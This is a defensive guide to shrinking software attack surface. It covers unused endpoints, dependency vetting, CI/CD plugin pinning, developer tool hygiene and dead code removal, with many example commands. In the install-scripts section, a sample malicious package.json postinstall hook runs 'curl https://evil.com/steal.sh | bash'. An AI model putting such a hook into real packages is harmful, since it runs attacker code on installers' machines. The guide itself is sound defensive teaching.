“Every line of code is an attack surface — whether you wrote it or not.”
Software ASR focuses on the architecture, code, build tooling, and developer workflows that determine what your system consists of. From bloated frameworks to unnecessary microservices to development tools with excessive permissions — software surface is often the largest and least controlled.
This isn’t about writing less code for its own sake. It’s about being deliberate with every dependency, every feature, every API endpoint, and every tool in your development pipeline.
1. Minimize Features, APIs, and Endpoints
Every API endpoint, every feature flag, every admin interface is a potential attack vector. The more you expose, the more you have to secure, test, and maintain.
Only Expose Interfaces You’re Committed to Maintain
The problem: Teams ship features quickly, then forget about them. Unused endpoints accumulate like technical debt, but with security implications.
Discovery process:
# Find API endpoints with zero traffic
# (Requires access logs analysis)
# Example with nginx logs
cat access.log | awk '{print $7}' | sort | uniq -c | sort -rn | tail -100
# Or with application metrics
# Check your APM tool (Datadog, New Relic) for endpoints with:
# - Zero requests in 90 days
# - High error rates (broken, unmaintained)
# - No test coverage
Decision framework:
For each API endpoint, ask:
1. **Is it documented?** If not, who uses it?
2. **Is it tested?** If not, does it even work?
3. **When was it last called?** If >90 days, candidate for removal
4. **What data does it expose?** Is that necessary?
5. **Who can call it?** Public, authenticated, admin only?
6. **What's the business value?** Can't articulate = candidate for removal
Avoid Debug/Experimental Endpoints in Production
Anti-pattern: Leaving debug endpoints in production builds
Common examples:
/debug/vars- Exposes internal metrics/admin- Without authentication/__debug__/- Django debug toolbar/api/v2-beta/- Experimental API still accessible/health?debug=true- Verbose health checks revealing internal state
Prevention: Build-time feature flags
// Go example: Compile-time flag to remove debug code
// +build !production
package debug
func ExposeInternalMetrics() {
// This entire function is not compiled in production builds
}
// Build commands:
// Development: go build
// Production: go build -tags production
# Python example: Environment-based endpoint disabling
from flask import Flask, jsonify
import os
app = Flask(__name__)
@app.route('/debug/state')
def debug_state():
if os.getenv('ENVIRONMENT') == 'production':
return jsonify({"error": "Not found"}), 404
# Only works in dev/staging
return jsonify(internal_state)
Use Feature Flags Responsibly
The problem: Feature flags accumulate and become permanent, creating code rot and security confusion.
Best practices:
// Document expiry date in flag definition
const featureFlags = {
newCheckoutFlow: {
enabled: true,
createdDate: '2024-01-15',
expiryDate: '2024-03-15', // Must be removed by this date
owner: 'checkout-team',
jira: 'PROJ-1234'
}
}
// Automated cleanup check
function checkExpiredFlags() {
const now = new Date();
Object.entries(featureFlags).forEach(([name, config]) => {
if (new Date(config.expiryDate) < now) {
throw new Error(`Feature flag '${name}' expired on ${config.expiryDate} - remove it!`);
}
});
}
Flag cleanup process:
# Monthly audit: Find old feature flags
grep -r "feature_flag\|featureFlag" src/ | \
grep -E "20(20|21|22)" | \ # Find flags from old years
sort | uniq
# Each should be either:
# 1. Removed (flag and code)
# 2. Made permanent (remove flag, keep code)
# 3. Justified (documented reason for keeping)
Real-World Impact
The 2019 Capital One breach occurred partly because a misconfigured web application firewall exposed an admin endpoint that shouldn’t have been accessible. This endpoint allowed SSRF attacks against the metadata service.
The The Equifax breach exploited an unpatched Apache Struts vulnerability in a web application. Multiple endpoints were vulnerable, many of which were legacy code no longer actively maintained.
Further reading:
2. Internal Reuse Over External Dependence
Modern software development has become an exercise in dependency management. The average web application has hundreds of dependencies, most of which you’ve never audited.
Prefer Internal Libraries You Can Control
The trade-off:
- External dependency: Fast to add, but you don’t control updates, security patches, or maintainer behavior
- Internal code: More upfront work, but you own the security posture and understand it completely
When to write your own:
- Simple utilities (date formatting, string manipulation)
- Core business logic that differentiates your product
- Security-critical code (authentication, authorization)
- High-risk operations (payment processing, encryption)
When to use external:
- Complex, well-established standards (TLS, OAuth, JWT parsing)
- Mature, widely-audited libraries (cryptography libraries)
- Infrastructure code (database drivers, network protocols)
Example decision:
# DON'T DO THIS - tiny dependency for simple task
import leftpad # 11 lines of code as an npm package
def format_user_name(name):
return leftpad(name, 20)
# DO THIS - write the 2 lines yourself
def format_user_name(name):
return name.ljust(20)
Minimize Dependencies With Low Stars, Single Maintainers, Long Chains
Red flags when evaluating dependencies:
| Risk Factor | Why It Matters | How to Check |
|---|---|---|
| Low stars/downloads | Small user base = less scrutiny | GitHub stars, npm downloads/week |
| Single maintainer | Bus factor of 1, burnout risk | Check GitHub contributors |
| No recent commits | Abandonware, no security patches | Last commit date |
| Long dependency chain | Transitive risk multiplies | npm ls, pip show --verbose |
| Numerous dependencies | More attack surface | Check package.json / requirements.txt |
Audit your dependencies:
# npm: Check for suspicious packages
npm audit
# Find packages with single maintainer
npm view <package> maintainers
# Check dependency tree depth
npm ls --depth=5
# Python: Check dependencies
pip list --outdated
pipdeptree # Visualize dependency tree
# Ruby
bundle audit check --update
# Go
go list -m all
Supply chain attack examples:
event-stream incident (2018):
- Popular npm package (2M downloads/week)
- Maintainer handed over to malicious actor
- Malicious code injected targeting cryptocurrency wallets
- Affected thousands of projects
colors.js and faker.js (2022):
- Maintainer intentionally sabotaged own packages
- Infinite loop added, printing gibberish
- Broke thousands of projects worldwide
ua-parser-js (2021):
- Compromised npm package
- Malicious code mined cryptocurrency
- Installed malware on Linux and Windows
Don’t Use Full Frameworks for Single Tasks
Anti-pattern: Using heavyweight frameworks for simple tasks
// BAD: Pulling in 50MB of dependencies for 3 endpoints
const express = require('express');
const bodyParser = require('body-parser');
const helmet = require('helmet');
const morgan = require('morgan');
const compression = require('compression');
const cors = require('cors');
// ... 20 more middleware packages
const app = express();
// Just to handle 3 API endpoints
// BETTER: Use standard library
const http = require('http');
const server = http.createServer((req, res) => {
if (req.method === 'GET' && req.url === '/health') {
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({status: 'ok'}));
}
// Handle your 3 endpoints
});
server.listen(8080);
// Zero dependencies, clear code, minimal attack surface
Framework size comparison:
# Check actual installed size
du -sh node_modules/
# Example results:
express + middleware: 45MB, 312 packages
fastify: 12MB, 52 packages
standard library: 0MB, 0 packages
Decision matrix:
| Scenario | Recommendation |
|---|---|
| 100+ endpoints, complex routing | Full framework acceptable |
| 5-10 simple endpoints | Lightweight framework or standard library |
| 1-3 endpoints, simple logic | Standard library only |
| CLI tool | Standard library only |
| Static site generator | Minimal, focused tool (Hugo, 11ty) not (Gatsby, Next.js) |
Real-World Impact
The SolarWinds supply chain attack compromised build processes, allowing malicious code to be inserted into legitimate updates. This affected 18,000+ customers including government agencies.
Research by Sonatype shows one in eight open source downloads contains a known security vulnerability.
Further reading:
3. Shrink Your Build and Toolchain
Your build pipeline and development environment are part of your attack surface. Compromise of build systems can inject malicious code into your product.
CI/CD Shouldn’t Pull 30 Plugins for a Static Site
The problem: CI/CD configuration files accumulate actions, plugins, and integrations that are never removed.
Bad example (over-engineered):
# .github/workflows/deploy.yml - BLOATED
name: Deploy
on: [push]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
- uses: actions/cache@v3
- uses: some-random-action/do-thing@v1
- uses: another-action/slack-notify@master # Untrusted
- uses: third-action/discord-webhook@v2
- uses: security-scanner/scan@v1
- uses: uploader/codecov@v2
- uses: performance/lighthouse@v3
- uses: seo/checker@v1
# ... 20 more actions
- run: npm run build
- uses: deployment/action@v1
Good example (minimal):
# .github/workflows/deploy.yml - MINIMAL
name: Deploy
on: [push]
permissions:
contents: read
id-token: write # For OIDC
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Build
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm ci
- run: npm run build
# Deploy with OIDC (no secrets)
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
- run: aws s3 sync ./dist s3://my-bucket/
Reduce Developer Environment Complexity
The problem: Developer machines accumulate tools, CLIs, and helpers that run with full privileges.
Audit your machine:
# macOS: Check what's installed
brew list | wc -l
# Do you know what all these do?
# Check what's running
ps aux | grep -v "^USER" | wc -l
# Should be <100, not >500
# Check what's listening on ports
lsof -iTCP -sTCP:LISTEN -n -P
# Recognize all of these?
# Linux: Check installed packages
dpkg -l | wc -l # Debian/Ubuntu
rpm -qa | wc -l # RedHat/CentOS
# Check systemd services
systemctl list-units --type=service --state=running
Cleanup strategy:
# Remove unused tools
# macOS
brew list | xargs brew uninstall
# Then reinstall ONLY what you actually use
brew install git node python3
# Linux
apt list --installed | grep dev
# Review and remove
Use containers for isolation:
# Instead of installing every tool globally
# Use containers for project-specific tools
# Before:
npm install -g webpack webpack-cli babel eslint prettier
pip3 install ansible terraform-compliance
gem install jekyll bundler
# (Now have 50+ global packages)
# After:
docker run --rm -v "$PWD:/app" node:20 npm run build
docker run --rm -v "$PWD:/app" python:3.11 python script.py
# (Clean host system, isolated dependencies)
Avoid Tools That Require Elevated Access
Red flags:
- Tools that ask for
sudoduring install - Kernel modules or drivers
- Tools that want to run as services
- Browser extensions with “read and modify all data” permission
Examples of risky tools:
| Tool | Risk | Alternative |
|---|---|---|
| Docker Desktop | Requires privileged access | Podman (rootless) |
| Global npm packages | Can execute arbitrary code on install | npx (on-demand execution) |
| System-wide Python packages | Conflict with system Python | venv or pyenv |
| IDE with excessive permissions | Can access all files | Sandboxed editors |
Better practices:
# Instead of global npm installs
npm install -g something # NO
# Use npx for one-time execution
npx something # YES
# Or install locally
npm install --save-dev something
npx something # Runs local version
# Python: Always use virtual environments
python3 -m venv venv
source venv/bin/activate
pip install package # Isolated
# Don't:
sudo pip3 install package # Modifies system Python
CI/CD Plugin Security
Verify sources before use:
# GitHub Actions: Only use verified actions
- uses: actions/checkout@v4 # Verified creator
- uses: aws-actions/configure-aws-credentials@v4 # Official AWS
# Avoid:
- uses: random-user/unverified-action@master # Untrusted
- uses: totally-not-malware/helper@v1 # No verification
# Pin to specific commits (not tags, which can be moved)
- uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab # v4.1.1
GitLab CI security:
# BAD: Running random Docker images
deploy:
image: randomuser/deploy-tool:latest
script:
- ./deploy.sh
# GOOD: Use official images, pin versions
deploy:
image: alpine:3.19.0 # Official, pinned
script:
- apk add --no-cache curl
- ./deploy.sh
Real-World Impact
The Codecov breach (2021) modified Codecov’s bash uploader script (used in thousands of CI/CD pipelines) to exfiltrate environment variables containing secrets.
The SolarWinds attack compromised build systems by injecting malicious code during the build process.
Further reading:
4. Limit Codebase Blast Radius
How your code is organized determines how far a vulnerability can spread. A monolithic codebase with no internal boundaries means any compromise affects everything.
Avoid Global Shared Modules
The problem: Shared utility modules become dumping grounds for common code, creating tight coupling and wide blast radius.
Anti-pattern:
# utils.py - 5000 lines of everything
def format_date(date): ...
def send_email(to, subject, body): ...
def encrypt_password(password): ...
def charge_credit_card(card, amount): ...
def execute_sql(query): ...
def admin_override_check(user): ...
# Every module imports this
Problem: Vulnerability in any function affects all modules using utils.
Better approach: Focused modules with clear boundaries
# date_utils.py
def format_date(date): ...
# email_service.py
def send_email(to, subject, body): ...
# auth_module.py
def encrypt_password(password): ...
def verify_password(password, hash): ...
# payment_module.py
def charge_credit_card(card, amount): ...
# Each module imports only what it needs
Segment by Trust Boundaries
Principle: Organize code by security requirements, not just features.
Example architecture:
src/
├── public/ # Unauthenticated endpoints
│ ├── login.js
│ ├── register.js
│ └── health.js
│
├── authenticated/ # Requires valid user session
│ ├── profile.js
│ ├── dashboard.js
│ └── settings.js
│
├── admin/ # Requires admin role
│ ├── user_management.js
│ ├── system_config.js
│ └── audit_logs.js
│
└── internal/ # Server-side only, never exposed
├── payment_processing.js
├── encryption.js
└── database_access.js
Enforce boundaries:
// In public/ code, this should fail linting:
import { processPayment } from '../internal/payment_processing'; // ❌ FORBIDDEN
// Use API boundaries instead:
fetch('/api/internal/process-payment', { // ✅ Goes through auth layer
method: 'POST',
headers: { 'Authorization': token },
body: JSON.stringify(paymentData)
});
Linting rules:
// .eslintrc.js
module.exports = {
rules: {
'no-restricted-imports': ['error', {
patterns: [{
group: ['../internal/*', '../../internal/*'],
message: 'Cannot import internal modules from public code'
}]
}]
}
};
Kill Dead Code
The problem: Old features, retired APIs, and unused functions stay in the codebase “just in case.”
Finding dead code:
# JavaScript: Use webpack bundle analyzer
npx webpack-bundle-analyzer stats.json
# Python: Use vulture
pip install vulture
vulture .
# Go: Use deadcode
go install golang.org/x/tools/cmd/deadcode@latest
deadcode ./...
# Find files not modified in 2+ years
find src/ -type f -mtime +730 -ls
# Ask: Is this still used?
Coverage-based approach:
# Run tests with coverage
npm test -- --coverage
pytest --cov=src --cov-report=html
# Files with 0% coverage are candidates for removal
# (If they're not tested, they're probably not used)
Progressive deletion:
// Step 1: Deprecate (add warning)
/**
* @deprecated Use newFunction() instead. Will be removed in v3.0
*/
function oldFunction() {
console.warn('oldFunction is deprecated');
return newFunction();
}
// Step 2: Monitor for usage
// (Check logs for deprecation warnings)
// Step 3: Remove after grace period
// git rm old_module.js
Real-World Impact
The Apache Struts vulnerability (CVE-2017-5638) that led to the Equifax breach existed in a file upload feature. Many organizations using Struts didn’t even use that feature, but were vulnerable because the code was present.
Further reading:
5. Hardening Through Simplicity
Complex code is hard to review, hard to test, and hard to secure. Simplicity isn’t just elegant — it’s a security feature.
Simpler Code Is Easier to Review and Secure
Complex code example:
# Hard to review - what does this actually do?
def process(data):
return [x for sublist in [[y for y in filter(lambda z: z%2==0,
map(lambda a: a**2, range(item)))] for item in data]
for x in sublist if x > 10]
Simple equivalent:
# Easy to review - clear logic
def process(data):
results = []
for item in data:
for number in range(item):
squared = number ** 2
if squared % 2 == 0 and squared > 10:
results.append(squared)
return results
Security review is faster on simple code. Complex one-liners hide bugs.
Prefer Boring Tools
The “boring technology” principle: Use mature, well-understood tools over cutting-edge frameworks.
Boring (good):
- PostgreSQL (since 1996)
- Nginx (since 2004)
- Redis (since 2009)
- Flask/Express (simple, focused)
Exciting (risky):
- New database that “solves everything”
- Framework on version 0.3.1
- “Revolutionary” build tool with 3 contributors
- Trendy architecture pattern from last week’s HackerNews
Trade-off analysis:
| Criteria | Boring Tech | Shiny New Tech |
|---|---|---|
| Security track record | Decades of patches | Unknown vulnerabilities |
| Documentation | Extensive | Sparse, outdated |
| Community | Large, experienced | Small, learning |
| Hiring | Easy to find experts | Training required |
| Long-term support | Guaranteed | Might be abandoned |
Avoid DSLs or Custom Runtimes
The problem: Domain-Specific Languages and custom runtimes add complexity and obscure what’s actually happening.
Example: Custom templating language
// Custom DSL - hard to audit
{{user.name | uppercase | truncate:20}}
{{if user.isAdmin}}
{{include "admin-panel" with user}}
{{/if}}
// What does this actually execute?
// Can it escape the sandbox?
// Can user.isAdmin be manipulated?
Better: Use standard languages with explicit code
// Standard JavaScript - clear and auditable
const displayName = user.name.toUpperCase().substring(0, 20);
if (user.isAdmin === true) { // Explicit boolean check
renderAdminPanel(user);
}
When DSLs are acceptable:
- Well-established standards (SQL, HTML/CSS, Regex)
- Security-focused (Content Security Policy syntax)
- Widely audited (Jinja2, ERB templates)
When to avoid:
- Custom-built for one project
- Turing-complete templating
- Allows arbitrary code execution
- No security audit history
Real-World Impact
The Ruby on Rails mass assignment vulnerability was exacerbated by “magic” framework behavior that made it hard to understand what parameters were being accepted.
Further reading:
- Choose Boring Technology by Dan McKinley
- The Grug Brained Developer
- Simplicity Matters - Rich Hickey
6. Third-Party Code and Tooling Integration (Deep Dive)
This section expands on the risks of integrating external code and tools, covering modern supply chain attack vectors.
Open Source Dependency Discipline
The current state: The average web application has 700+ dependencies (including transitive ones). You’ve audited maybe 5.
Audit process:
# Generate full dependency tree
npm ls --all > dependencies.txt
pip list --format=freeze > dependencies.txt
# Check for known vulnerabilities
npm audit
pip-audit
cargo audit # Rust
bundle audit # Ruby
# Check license compliance (legal risk)
npx license-checker --summary
# Generate Software Bill of Materials (SBOM)
syft dir:. -o spdx-json > sbom.json
Dependency review checklist:
| Check | Command/Tool | Action |
|---|---|---|
| Known CVEs | npm audit, snyk test |
Update or remove |
| Last update | npm outdated |
Flag packages abandoned >2 years |
| Number of maintainers | npm view <pkg> maintainers |
Avoid single-maintainer critical deps |
| GitHub stars/forks | Manual check | Low stars + critical = risky |
| Download count | npmjs.com, pypi.org | Very low = less vetted |
| License compatibility | license-checker |
Avoid GPL in proprietary code |
Automated dependency management:
# Dependabot config (.github/dependabot.yml)
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 5
# Auto-merge patch updates only
automerged_updates:
- match:
dependency_type: "all"
update_type: "semver:patch"
CI/CD Plugin & Marketplace Risk
The problem: GitHub Actions marketplace has 10,000+ actions. GitLab, Jenkins, CircleCI have similar plugin ecosystems. Most are unaudited.
Vetting process for CI/CD actions:
## Before Using Any CI/CD Action
1. **Check the source**
- Is it from a verified creator? (GitHub verified badge)
- Is it officially maintained? (actions/* for GitHub)
- What's the source repository?
2. **Review the code**
- Clone the repo: `git clone <action-repo>`
- Read the actual code (action.yml, main.js)
- What permissions does it request?
- What commands does it run?
3. **Check activity**
- Last commit date (>1 year = potentially abandoned)
- Open issues (security issues unresolved?)
- Download/usage stats
4. **Pin to commit SHA**
- NOT: `uses: user/action@v1` (tag can be moved)
- YES: `uses: user/action@1234abcd` (immutable)
Example vulnerability scan:
# Audit your workflow files
# Check for unpinned, unverified actions
name: Audit Workflows
on: [push]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Check for unpinned actions
run: |
# Find actions not pinned to SHA
grep -r "uses:" .github/workflows/ | \
grep -v "@[0-9a-f]\{40\}" | \
grep -v "@v[0-9]" || true
# Flag for review
Build Tools and Install Scripts
The problem: npm install, pip install, and similar commands run arbitrary code during installation via post-install hooks.
Example malicious package:
// package.json
{
"name": "totally-safe-package",
"scripts": {
"postinstall": "curl https://evil.com/steal.sh | bash"
}
}
When someone runs npm install, this executes automatically.
Defense strategies:
# npm: Ignore scripts during install
npm install --ignore-scripts
# Then selectively run scripts for trusted packages
npm rebuild <trusted-package>
# Python: Use --no-binary to avoid precompiled wheels
pip install --no-binary :all: <package>
# Or use restricted installation
pip install --require-hashes -r requirements.txt
Lockfile integrity:
# Always commit lockfiles
git add package-lock.json # npm
git add yarn.lock # yarn
git add Pipfile.lock # Python
git add Cargo.lock # Rust
# Verify lockfile hasn't been tampered with
npm ci # Installs from lockfile only, fails if mismatch
Signed binaries preference:
# Instead of curl | bash:
curl -sL https://tool.com/install.sh | bash # ❌ NO
# Download, verify signature, then execute:
curl -sLO https://tool.com/binary
curl -sLO https://tool.com/binary.sig
gpg --verify binary.sig binary # ✅ Verify
chmod +x binary
./binary
Browser Extensions & IDE Plugins
Developer tool risks:
Browser extensions can:
- Read all page content (including credentials)
- Modify page content (inject malicious code)
- Intercept network requests
- Access cookies and local storage
- Monitor clipboard
IDE plugins can:
- Read all code in your workspace
- Execute arbitrary commands
- Modify files
- Send data to external servers
- Install additional components
Mitigation strategies:
## Browser Extension Policy
1. **Separate profiles**
- Personal: Any extensions
- Work: Only approved, audited extensions
2. **Minimal extensions**
- Only install what you actually use daily
- Review permissions before installing
- Audit installed extensions quarterly
3. **Avoid risky patterns**
- Extension asks for "all sites" permission
- Extension from unknown developer
- Extension with low reviews
- Extension that updates very frequently (why?)
## IDE Plugin Policy
1. **Vet before install**
- Check download count
- Read reviews
- Review source if available
- Check what permissions it requests
2. **Prefer official**
- Use official language plugins
- Avoid "helper" plugins for simple tasks
- Question plugins that "make everything easier"
3. **Audit installed**
- VS Code: Check `~/.vscode/extensions`
- IntelliJ: Check installed plugins list
- Remove unused plugins
Example audit:
# List VS Code extensions
code --list-extensions
# For each extension, check:
# 1. When did you install it?
# 2. Have you used it in the last month?
# 3. What permissions does it have?
# Uninstall unused
code --uninstall-extension <extension-id>
Real-World Incidents
npm package compromises:
- event-stream (2018): Malicious code injected to steal Bitcoin wallet keys
- ua-parser-js (2021): Compromised to install cryptocurrency miners
- colors.js (2022): Maintainer intentionally sabotaged with infinite loop
Browser extension attacks:
- Chrome extension malware (2020): 111 extensions caught stealing data
- Browser Security Inspector (2021): Posed as security tool, stole credentials
IDE plugin risks:
- VS Code extension attack (2021): Malicious extensions uploaded mimicking popular ones
- IntelliJ plugin vulnerability (2022): Remote code execution in plugin framework
Further reading:
- npm Security Advisories
- Sonatype Software Supply Chain Report
- OWASP Dependency-Check
- Chrome Extension Security
7. Guidelines for Software ASR
| Code & Build Issue | ASR Practice | Implementation |
|---|---|---|
| Over-featured APIs | Disable or remove unused endpoints | Traffic analysis; feature flag cleanup; endpoint audit |
| Framework bloat | Strip unused modules, reduce dependencies | Minimal base images; tree shaking; dependency audit |
| CI plugin sprawl | Pin versions, remove unused, self-host when possible | Commit SHA pinning; quarterly review; minimize actions |
| Complex dev tools | Use fewer, vetted, non-root-requiring tools | Container-based tools; avoid global installs |
| Shared code risks | Split monoliths by trust zone, not just function | Enforce module boundaries; linting rules |
| Dead code | Archive or delete it. Don’t ship it. | Coverage analysis; vulture/deadcode; aggressive pruning |
| Supply chain risk | Audit dependencies, use SBOMs, pin versions | npm audit; Dependabot; lockfile commits |
8. Final Thought
“You’re not shipping a product. You’re shipping every tool, library, and helper that touched it.”
Software ASR isn’t about coding less — it’s about building only what you’re willing to own, maintain, and defend.
The Software ASR mindset:
- Before adding a dependency: Can I write this in 50 lines instead?
- Before adding a feature: Do users actually want this, or is it speculative?
- Before adding an API endpoint: Can existing endpoints handle this use case?
- Before keeping code: Has anyone used this in 6 months?
Start tomorrow:
- Run
npm auditor equivalent — fix or remove vulnerable dependencies - Find your oldest feature flag — remove it or make it permanent
- List your CI/CD plugins — remove anything you can’t justify
- Count your API endpoints — target removing 20%
Every dependency removed is a supply chain attack prevented.
Every endpoint removed is an attack vector eliminated.
Every tool removed from your environment is a privilege escalation path closed.
Less code. Less complexity. Less attack surface. More security.
That’s Software ASR.